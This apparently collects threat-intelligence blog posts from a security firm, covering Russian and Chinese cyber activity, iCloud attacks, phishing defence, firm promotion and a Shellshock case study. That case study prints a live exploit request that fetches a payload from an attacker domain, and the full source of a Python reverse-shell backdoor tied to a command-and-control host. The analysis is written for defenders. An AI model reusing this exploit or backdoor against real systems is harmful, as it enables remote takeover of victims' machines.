Moscow, Beijing poised to sign deal on joint cyber security ops

This is interesting to me.

"A draft treaty apparently outlines mutual agreement to the use of online operations to interfere with independent states in a bid to undermine sovereignty or disrupt social, economic or political order."

The idea that Russia and China are reportedly signing an agreement on November 10th for joint us of online operations is amazing to me.  For those of you who've heard me talk,  I talk much about the idea of disintermediation... taking out the middle man.  Who, do you think independent states might be?  I'm guessing the US, maybe Sweden (just a wild guess after Russian flyovers, and a submarine off the coast of Stockholm), maybe Poland and Ukraine? Regardless,  if you think for a moment that infrastructures in China are only used by Chinese hackers today, you're wildly mistaken.  The sky isn't falling, but once these guys figure out how to working together (all new partnerships go through forming, storming, norming and performing... we'll see how long it takes)... but once they figure it out, the game changes.

Poles who spied for Russia?

We've been tracking the Russia | Ukraine conflict for about a year, and last month one of our analysts speculated that we'd see cyber activity hitting Polish targets. It should come as no surprise. Poland has been looking for opportunities to reduce their dependence on Russian gas, which btw, travels through pipelines in Ukraine... seeing any patterns?

So this crossed my radar tonight when I had a few moments to settle in for the night. Intelnews has been talking about Russian spies in Poland.  Intelnews is one of my favorite sites for non-technical, geopolitically focused intelligence... and this is the third such piece I've seen in two days. And with the thought that Russia will continue to regain control, if not over Ukraine, then over the lines that pass their fuel to the EU, and also over those who attempt to find other sources, it is our belief that Poland will not only land in the crosshairs of foreign intelligence (from Russia), but also that we'll see the Putin/Ivanov cyber playbook continue, but with expanded new targeting.

So I scratch my head. With Cyber Berkut (a Ukranian, pro-Russian hacker group) hitting the Warsaw Exchange in August, and the reporting of Russian intelligence operating in Poland... does it make sense that we see ISIS messaging in files pulled from Warsaw Exchange today? I'm not jumping to conclusions, only looking at the pile of data with one eye closed and the other in a hard squint.

If it walks like a duck, quacks like a duck, and leaves little piles around my pond... Well, we're keeping an eye out for swimmers scooting over the water.

Warsaw Stock Exchange whacked? Cyber Berkut?

Pastebin indications of the Warsaw Stock Exchange. Here's the first reporting we've seen after reporting it to our members and customers.

According to other reporting, several thousand passwords and files leaked.  Apparently, there were also attacks attributed to Cyber Berkut in August. If you were at the FS-ISAC summit, I told you the Cyber Berkut and Green Dragon.. they've also been used to attack a Ukrainian bank and governments in the EU.

iCloud... and of course, Apple's response

It doesn't call out attacks from China, but Apple does respond.. if you didn't know how to check it (I'm assuming that if you read my blog, you probably do... I hope you do...). But here's Apple's directions on how to check the digital certificate associated with the iCloud website.

http://support.apple.com/kb/HT6550?viewlocale=en_US&locale=en_US

"The iCloud website is protected with a digital certificate. If users get an invalid certificate warning in their browser while visiting www.icloud.com, they should pay attention to the warning and not proceed."

I have a couple of thoughts on this.. you knew I would.

First, the iCloud website is indeed NOT protected by a digital certificate. The digital certificate in and of itself is part of a protection scheme, but I wouldn't hang my hat on a digital certificate keeping bad guys out of iCloud.

Second, leaving this to users to check, 'pay attention to the warning and not proceed' strikes me smack in the funny bone. I want to laugh, but it hurts when I get hit there. Check that digital cert every time you log in. I wonder if my mom will check it when she logs in. Will yours?

China in iCloud? Like a freakin sticky booger!

Apple iCloud is (allegedly) fully of Chinese hackers, grabbing personal photos, personal information, and presumably, my iTunes library! I'm thinking there's a simple and easy defense. Let them find my P90X starting pictures it'll scare 'em off for good! They'll never come back!

http://thehill.com/policy/cybersecurity/221435-chinese-government-suspected-of-launching-apple-cyberattack

Regardless, these guys keep coming back. So two things.. Chinese hackers as I know them aren't as much interested in personal information -that's the domain of others, more interested in intellectual property and targeting Falun Gong. The MO (to me) sounds more like someone else using a Chinese infrastructure to pull off something more. iCloud isn't exactly known for hosting business, so I'm thinking (speculating only) that it's PII that the attackers might be after (or maybe they'll find the pictures of the iPhone 7??). To the money guys (meaning carders) full identities mean more money --PINs are more easily reset. 

So is it Chinese? Is it somoene else using Chinese tools? Tell me more!

Jeff

How do we achieve 100%?

I nearly always drive when I travel. I hate to fly. I drive because before or after a busy week, the time on the road lets me think, without the constant interruption of email, phone calls, etc. This is some of my most productive thinking time. I like to play audio books. Yesterday it was Moby Dick --I like the classics.

Yesterday, during my eight hour drive, one of the things that I thought about over and over, was a conversation I'd had with a security manager at one of the government agencies during the week. We talked about his small team, and the need for analysis, and as the conversation continued, he brought it back to the user. Here's what he said. It stuck with me...

Users get literally seconds to decide whether or not to click that email. They've gotten really good at recognizing run of the mill spam, and sometimes even catch the more advanced phishing, but still, our job is to give them the tools to help them during those few seconds. And if they make the wrong choice, then we need to be able to protect them. They really do try and do the right thing, but the emails can look very real. What are they to do? They rely on us.

So on the heels of yesterdays (blah) blog that I posted before hitting the road, I wanted to take a moment and address this very simple, but at the same time, very complex thought process.

This manager told me the story of an overzealous retired Air Force cyber guy who walked the halls, telling people, one at a time, that they needed help. He did threat briefs, helped users, and built a program --one office, one person at a time. Every office apparently has their own systems administration team, and none want to be 'that guy' who let their boss be embarrassed by having him or her click on spam. So they do an amazing amount of education and awareness. But again, it's not just the 90% that we must consider. And while it sounds unreachable, identification and mitigation of 100% of malicious emails must be the goal.

So how does that happen? Today, it doesn't. I've heard of email 'detonation' services that click on every link. DLP in this space is largely ineffective. Rule based systems have to little flexibility.

So I put this to you...

Thoughts? How do we achieve 100% guarantees of user protection in their email? How do we protect a diligent user when when they make the wrong choice?

Thoughts?
Jeff

Henrybasset weekly

I had the pleasure of attending the FS-ISAC conference this week, and to be the first speaker on the podium on Tuesday morning. The overarching theme was, as many conferences are this year, cyber threat intelligence. My talk offered a timeline analysis of the Russia | Ukraine conflict, and how the timeline tracked so nicely with the Ivanov Doctrine. Ivanov was the Russian Minister of Defense, who after receiving a paper from Putin in 2003, changed radically the direction of the Russian military. It appears they've taken many lessons from the US. In fact, two researchers detailed lessons learned from Desert Storm, Desert Fox, Yugoslavia, and Afghanistan spelled out those lessons learned quite nicely. And you know what? The playbook worked in Ukraine. And the story was well received at the ISAC, and again today to a new audience.

There were a couple of thoughts that I took away from the conference. First, one of the presenters made a comment that "you can't get all of the intelligence you need by yourself". The second, was the idea that there are now verticals forming in the threat intelligence space. I forgot who said it, but verticals appear to be forming. There were several, but these were the ones I remembered without going back and consulting my notes:

• Information Sharing
• Content (Intelligence) providers
• Threat information management companies

Interestingly enough, every time we go out and talk about Red Sky Alliance and Wapack Labs, we seem to run into the same couple of competitors, and so, the education begins. Today, the education started with full-on, make it relevant threat presentation. Strategic intelligence boiled down into the stuff that's going to hurt you today, ending with a list of compromised accounts. Normally we include a few other relevant tidbits but it's been such a busy week that I didn't have time to do the appropriate pre-work before going onsite. None-the-less, they quickly understood the difference between a company that produces intelligence (Wapack Labs), delivering it in a crowdsourced collaboration (Red Sky). The idea that data can be boiled out of good analysis, provided with the context that the ISAC members now know as Intelligence, delivered in such a way that it can be brought into a management system and managed. 

So, when someone says "you can't get everything you need by yourself", try asking someone in Red Sky. When you need information delivered that's both high confidence, human analyzed, and parsable by a management system, try a TIM. And if you don't have researchers that you feel could benefit from a crowdsourced analysis center (Red Sky); when you want a managed security service provider that uses our data, try one of the folks that use data from the portal to protect you. There are a couple of good ones I'd recommend. Call me and I'll introduce you. 

That's it for now. I'm going to keep it short. It's Friday night, and before I drive back to New England tomorrow I'm going to smoke a great cigar and have a martini.. because this was a GREAT week.

So until next time,

Have a GREAT weekend!
Jeff

Red Sky Weekly: FAQ and ShellShock

At least three times every week I get asked by someone "What's the difference between Wapack Labs and Red Sky Alliance?" "Who is your target customer?" "What product do we deliver?" "What's your distribution look like?"

So let's start here...

Wapack Labs is an intelligence, research and analysis company. We sell information.

• Wapack Labs authors sources and sells intelligence, research and analysis. We deliver it in many forms, to many places... Red Sky Alliance/Beadwindow, the FS-ISAC, Subscriptions, OEM, Threat Recon, etc. We publish in PDF, STIX, HTML, CSV, and JSON.

Red Sky Alliance is a crowdsourcing platform for cyber threat intelligence pro's. Discussions are deep, and at the end of the thread, they receive a finished report with analysis of the discussion.  

• Security researchers go to Red Sky Alliance to share notes, build the story, and together, protect their networks. What happens in Red Sky Alliance, stays in Red Sky Alliance. It's private. There's no government involvement. We don't care how you interact with DSS, the regulators, or any other government organization --that's your choice. Red Sky Alliance exists to help improve your security. The private portal is ALWAYS busy. We've added university users, and just this week, another Icelandic bank.
• For government security researchers we offer a second collaborative... Beadwindow --delivered in Threat Connect. They do not get access to the Red Sky private portal, but they do get information that they may care about. We've delivered cyber warnings, dumped credential caches and targeting, to several government agencies directly, and for others, we push stuff through Beadwindow to contacts at the 24th AF and the US MDA. None of the US Cyber Centers participate, so if you're a state, local or .gov who needs help, call us. We can help. And our stuff is UNCLASSIFIED! You can actually use it!

As an example of one of our reports, I've posted (below) a snippet from a Wapack Labs report to Red Sky Alliance members and Wapack Labs subscribers...

We published this report in it's entirety last week.

We took a bit of a different approach on what seemed to be the hottest topic of the last two weeks - Shellshock. (Need information on Shellshock? Try here.)

We're looking for use cases where we might help protect against. This is one of three case studies that we'd identified, taking advantage of Shellshock. 

You'll see quickly that it's written for technically focused defenders. If you're a SOC analyst, incident responder, or intrusion analyst, this is for you. We have others for managers and the C-Suite, but this report is lower level. We show all of our work and sources. When done, it's gets published as a PDF in whole, and (if sourced by Wapack Labs) farmed for Threat Recon.

So if you're a techie, enjoy. If you're a manager, ask your techie what it means ;) 

SHELLSHOCK CASE STUDY AND INFRASTRUCTURE

Beginning on 24 September 2014, hackers and researchers began exploiting the widely publicized Shellshock bash vulnerability, described in CVE -2014-6271.  The majority of the initial activity involved mass vulnerability scanning by white hats and black hats alike. Examination of scanning activity showed a peak on September 27^th with a sharp decline as of September29^th . This spike and sudden decrease may be a result of what is likely wide-scale patching of the vulnerability. Alternatively, this may mark the end of exploiting the vulnerability for reconnaissance purposes and could signal a move up the kill-chain into more targeted operations.

Legacy Scamming infrastructure re-emerges with Shellshock

A recently observed instance of Shellshock in the wild took the form of a Python implemented backdoor hosted on google-traffic-analytics.com. Table 5 lists the observed originating IPs along with the Shellshock request:

Originating IPs	Shellshock Request
14.163.12.119 77.29.189.34 78.15.20.81 78.161.195.166 79.136.130.110 88.253.229.151 93.139.212.67 109.227.100.189 112.156.18.40 113.171.116.163 117.218.186.16 118.172.123.111 119.130.114.154 124.123.75.68 178.120.175.81 178.121.79.68 190.49.241.220 190.82.114.190 223.206.54.26	() { :;}; /bin/bash -c '/usr/bin/env curl -s http://google-traffic-analytics.com/cl.py > /tmp/clamd_update; chmod +x /tm

!/usr/bin/env python from socket import * import os from time import sleep import sys fpid = os.fork() if fpid!=0:     host='stats.google-traffic-analytics.com'     port=9091     sockobj = None     ############################################     sockobj = None     recv = False     def connect():         try:             sockobj=socket(AF_INET,SOCK_STREAM)             sockobj.connect((host,port))             return sockobj         except:             return False     while True:         while not sockobj:             sockobj = connect()             print "[*] Trying to reconnect..."             sleep(1)             if sockobj:                 print "[+] Connected"         recv = sockobj.recv(1024)         #print recv         if not recv: sockobj = False; break;         cmd = recv.strip()         res = os.popen(cmd).read()         if res:             sockobj.sendall(res)

Open source research on google-traffic-analytics.com only returned one previous hit from 2010. In August of 2010, Securi.net reported a wave of spam that affected more than 200K websites including many popular sites. Investigation of the activity revealed that they were all controlled by www.google-traffic-analytics.com. The blog reported that google-traffic-analytics.com leveraged the compromised sites as part of a widespread spamming infrastructure.

Legacy Whois Record	Current Record
Registrant Contact:    Goga Gastoyan    Goga Gastoyan Goga Gastoyan bash@blogbuddy.ru    +7.4957452002 fax: +7.4957452002    Pokryshkina d.36 kv.36    Moscow Moscow 119602    ru	Admin Name: Radovanka Janekovic Admin Organization: Goga Gastoyan Admin Street: Ljubljanska 6 Admin City: Bled Admin State/Province: Bled Admin Postal Code: 4260 Admin Country: SI Admin Phone: +386.15765749 Admin Phone Ext: Admin Fax: +386.15765749 Admin Fax Ext: Admin Email: support@google-traffic-analytics.com

Table 5. google-traffic-analytics.com Scanning Nodes

Upon successful exploitation, a CURL request is made for http://google-traffic-analytics.com/cl.py. The Python script (cl.py) is a simple yet effective Backdoor that works on both Linux and Windows. It also has a zero detection on Virus Total [1]. The configured C2 address is hosted on subdomain stats.google-traffic-analytics.com. The downloaded python script will attempt connection C2 on port 9091 and if the C2 is listening  - a shell is opened up to the victim.

During testing, a the C2 node issued a uname –a command which prints all available information about a Linux system [2]. [Comment: No additional activity was observed.] (See Mitigations section for a SNORT signature)

The re-emergence of this domain after an apparent four year hiatus begs the question of whether it belongs to the same attackers. A Whois history report from Domain Tools lists the registrant during 2010 as “Goga Gastoyan”, (bash@blogbuddy.ru), however this changed in 2013 to the current owner “Radovanka Janekovic”. Further inspection of the records revealed Goga Gastoyan as the Admin organization in the new record – thus confirming likely attribution to the same attackers.  With the connection made to the legacy infrastructure, one could assume that this latest activity involving Shellshock could be the most recent attempt to expand the spamming network.

Table 6. Whois Record Comparison

[1] https://www.virustotal.com/en/file/052421011162421c7fbe1c9613e37b520a494034901dab1c6ee192466090421d/analysis/

[2] http://linux.about.com/library/cmd/blcmdl1_uname.htm

[3] http://blog.sucuri.net/2010/08/more-spam-google-traffic-analytics-com-cc-server.html

------------------------------------------------------

I realize this is pretty technical, but I thought it important to offer a simple slice of some of the work we do. This report is the basis for nearly everything else. These reports, when complete are farmed for placement in Threat Recon. This information, sourced by the lab, is thought to be high confidence (although we never score anything perfect!).

This week is again, crazy. I'm on the podium at 9:00 at the FS-ISAC conference, and we've got a heck of a topic. I'm looking forward to seeing you all there.

Have a great weekend!
Jeff

Red Sky Weekly: ShellShock

Beginning on 24 September 2014, hackers and researchers began exploiting the widely publicized ShellShock bash vulnerability, described in CVE -2014-6271.  The majority of the initial activity involved mass vulnerability scanning by white hats and black hats alike. Examination of scanning activity showed a peak on September 27^th with a sharp decline as of September 29^th . This spike and sudden decrease may be a result of what is likely wide-scale patching of the vulnerability. Alternatively, this may mark the end of exploiting the vulnerability for reconnaissance purposes and could signal a move up the kill-chain into more targeted operations.

With so many scanning for those infected with the bash bug -both white hats and black hats, and with the vast number of machines both vulnerable and exposed, you can see how quickly researchers might get overwhelmed trying to figure out who's white and who's black! 

We took a slightly different approach. Red Sky members have been identifying the next thing.. malware that will likely exploit the bug, motivations for doing so, and working to identify potential case studies where we think we'll see ShellShock pop up in efforts to create worms, nefarious search engine optimization (SEO) schemes, and building new exploitation infrastructures.

ShellShock seems to have slowed, but it was definitely the topic of the week. It seemed to have slowed a bit, but that could simply mean that the public has been duly desensitized by all of the press.. time to move on to something else shocking...

Like this... Dealbook is reporting that ten other banks were compromised beyond those already reported.  I don't have any information on that, but I'll say... the portal has been insanely busy.

BT BT

I haven't checked user stats in a while (yeah, I'm a slacker!) so this week I jumped into the admin console to see where we're at. I get this question all of the time.. how many members are in Red Sky Alliance? 

From an organizational perspective, it's about 35 companies. From a user perspective, we have 178 active accounts. We've created many more, but we don't leave non-participating accounts active. Out of those 178 accounts, you can see the participation below. Of course we're only starting October, and March '12 was our first month in operation, but month over month we have an average of about 90 of those users who participate. That's 51% month over month participation. What about contributors? We average about 40 unique contributors every month. Some are more, some are less, but 40 unique contributors and 90 participants is a great number. How to the rest receive information? Some get subscriptions from lab. Others simply 'follow' conversations in the portal, getting notifications and content when something is loaded. Others are managers. 51% month over month participation.. amazing.

And what about content? As you can see below, we've got about 1500 threads going. The portal has only been active for about two and a half years, and since then, 1500 threads, and over 1000 documents and reports --about 300 finished intelligence or analysis reports supplied by us, or members.

Last, I thought I'd post some of the portal areas... Incident responders corner is where you go for incident response help. We keep an area called Wild Fire for those with an immediate need. Malware Samples? That's just what it says.. submit a piece of malware for analysis --either crowdsourced, or by the Wapack Labs team. Security Intelligence, another of our popular groups is just what it says. It's forward looking intel. And Fusion Reports, with 422 documents posted, hosts discussions of finished analysis.

Crazy. The portal has been on fire. I love it. I'm heading for Houston this week to work so I may respond slowly to email, but we're always on the portal :)

Interested in joining us? If you'd like to join us, drop me a note or give me a shout.
Have a great weekend!
Jeff

Significant threat - VPN over DNS and Are Threat Intelligence organizations really dying off?

1. In 2012, Wapack Lab’s began examining the use of VPN-over-DNS and the potential risks of insiders and external users from applications used circumvent authentication mechanisms, introduce new applications (tools) into the environment, and exfiltrate sensitive information through DNS’s always-open port. We've provided reporting of possible VPNs running over DNS to literally several dozen companies. Wapack Labs continues to advise organizations to closely examine its DNS name registers for VPN-over-DNS entries and monitor its DNS traffic closely; and policies should be considered to disallow the use of this application. This week, we published a detailed report on the VPN-over-DNS tool.

   
   

   Executive Summary 

   
   

   VPN-over-DNS, is a free Android application available on the Google Play store, downloadable to both Android telephones and as a web-based application. It boasts fully integrated DNS Tunneling combined with several mail clients, and while some organizations allow this application, Wapack Labs believes it to be a significant counterintelligence threat to companies who both allow it, and companies who may not be aware of its use. 

   
   

   
   

   VPN-over-DNS was first released to the Google play store on August 20th of 2012 by a French developer and is advertised as “data exfiltration, for those times when everything else is blocked.” VPN-over-DNS fully qualified domain names (FQDN) have been observed with passive DNS to resolve to a wide array of IP spaces including education, government, corporate, military, and even unassigned IP ranges. However, FQDNs resolving to an organization’s IP space may not be an indication that users within that IP space are actively using VPN-over-DNS, but rather VPN-over-DNS has been used in the past, and that the tunnel may still be available for use. Wapack Labs is providing this analysis because of widespread observation in the wild as well as situational awareness of an application with insider threat potential. 

   
   

   The analysis, including mitigation strategies is available to Wapack Labs customers, including Red Sky Alliance members. 

   
   

   BT BT

   
   

   Are Threat Intelligence organizations really dying off?

   
   

   I heard it three times this week. Threat intelligence shops integrating into the Security Operations Centers are being killed off because managers can't seem to show ROI.
   
   Here's the dirty little secret... There's a model for this.. you should be able to actually track the cost of your intelligence process and make an informed make/buy decision on intelligence offerings as a service (like ours!). I'm sorry. I can't credit the source. I've worked on so many of these, but every one that I've worked on all look much the same. I start with a basic CMM maturity model and adapt it. It looks a bit like Figure 1. Click to enlarge.
   
   

   

   
   
   Immature infosec teams are indiscriminate feeders when it comes to intelligence. They devour everything only to realize that much of what they ate might have been tin cans, steel belted radials, and general garbage. The good stuff that they actually needed, was somewhere in there, but that bad stuff really tastes bad. During this immature phase, operations drives intelligence. Incident response analysis is mistaken for intelligence, and open sources of information are consumed without regard for quality.
   
   As the team moves up the maturing model, they start realizing that they want more data, better tools, and they start participating externally with smarter groups... The bird dog is training the bird dog. Now the costs REALLY go up. Learning lessons from their own environment becomes crucial, and analysis of internal data becomes key. The team finds more and more vulnerabilities, frustrating management. This costs money. The team is learning. During this phase, operations still drive intelligence, but the pendulum is beginning to swing the other way. The team starts hunting. They don't yet understand the concept of 'collecting against requirements' but they do have a standing set of information on which they maintain constant vigil...
   
   And then it gets better. It's when the teams become mature. Collection requirements, EEIs, and scouring the landscape for new threats becomes the norm. Many teams realize the value of (select) home grown and open source tools, complimenting the COTs suite, and depending on the size of the team (I know BRILLIANT small teams that do very well!) they realize the value of intelligence in the SOC. When the team becomes an intelligence producer instead of an intelligence consumer. In fact it's almost magic. This is when intelligence feeds operations.
   
   Closing in on maturity, the model should start to look like figure 2 (forgive the slide!):
   

   

   So how do you know?
   
   Measure it!... Intel should do a couple of things for you:
   
   

   • At the strategic level, intelligence gives executives (and your marketing team!) an idea of what's coming. The more you know, and the better you plot it out, the better you'll be.
   • Intel should help with the tactical.. Not only the "what's going to hurt me tomorrow" but more priority questions like "what is going to hurt me today?" Intel should compliment your SOC operation. The should know on a daily basis, what Intel thinks they should be protecting against... What's coming for us? What's coming for our industry? And what is everyone else seeing?
   • And... when you can show drops in reaction times as a result of intel, or perhaps, faster reaction times resulting from very typical intel techniques - tabletop exercises, formalized brainstorming, greybeard sessions, and white/blackhat sessions (note I didn't mention penetration or vulnerability testing??), you know you've arrived.

   
   When you can show results like this... and your intelligence is fast turn, very actionable, and as right as it can be, you'll have no problems communicating the value of your team to upper management.
   
   So start here...  if you're an immature team, and need to keep your costs low, join an open source group. Learn as much as you can. Bounce indicators off of Threat Recon (it's free to 1000 queries per month), and start looking for badness in your network. Need help? Call us.
   
   On another note, I'm going to start posting as Wapack Labs instead of Red Sky Alliance. The portal is strong, but we've talked with a professional marketing guy who suggests we think about branding. Much of what I blog about falls outside of the information sharing construct. When we present, we talk of intelligence services and delivering it in many forms and in many forums --Red Sky Alliance, the FS-ISAC, through a community in Threat Connect (Beadwindow is on Threat Connect), and OEM'd (Threat Recon is available through ThreatQuotient). I'll be messaging from Wapack Labs from here out. Please use my Wapack Labs email account... jstutzman@wapacklabs.com.
   
   Have a great weekend!
   Jeff

   Posted 8 hours ago by Jeff Stutzman, Wapack Labs

     

   0 

   Add a comment

2. SEP

   14

   Threat Recon web interface is now live! 

   It's a big day!
   
   When Harvard was built they waited until students created paths in the grass, to and from class, before they built the sidewalks. We developed the Threat Recon API first to see how it would be used. And today (moments ago), we launched its first web interface for single search queries! We'll build features as users request them.
   
   Try it out for free for 1000 queries! threatrecon.co
   
   Please provide feedback and feature requests to threatrecon@wapacklabs.com
   
   Enjoy! Jeff

Wapack Labs Blog: Threat Recon web interface is now live!

Wapack Labs Blog: Threat Recon web interface is now live!: It's a big day! When Harvard was built they waited until students created paths in the grass, to and from class, before they built the...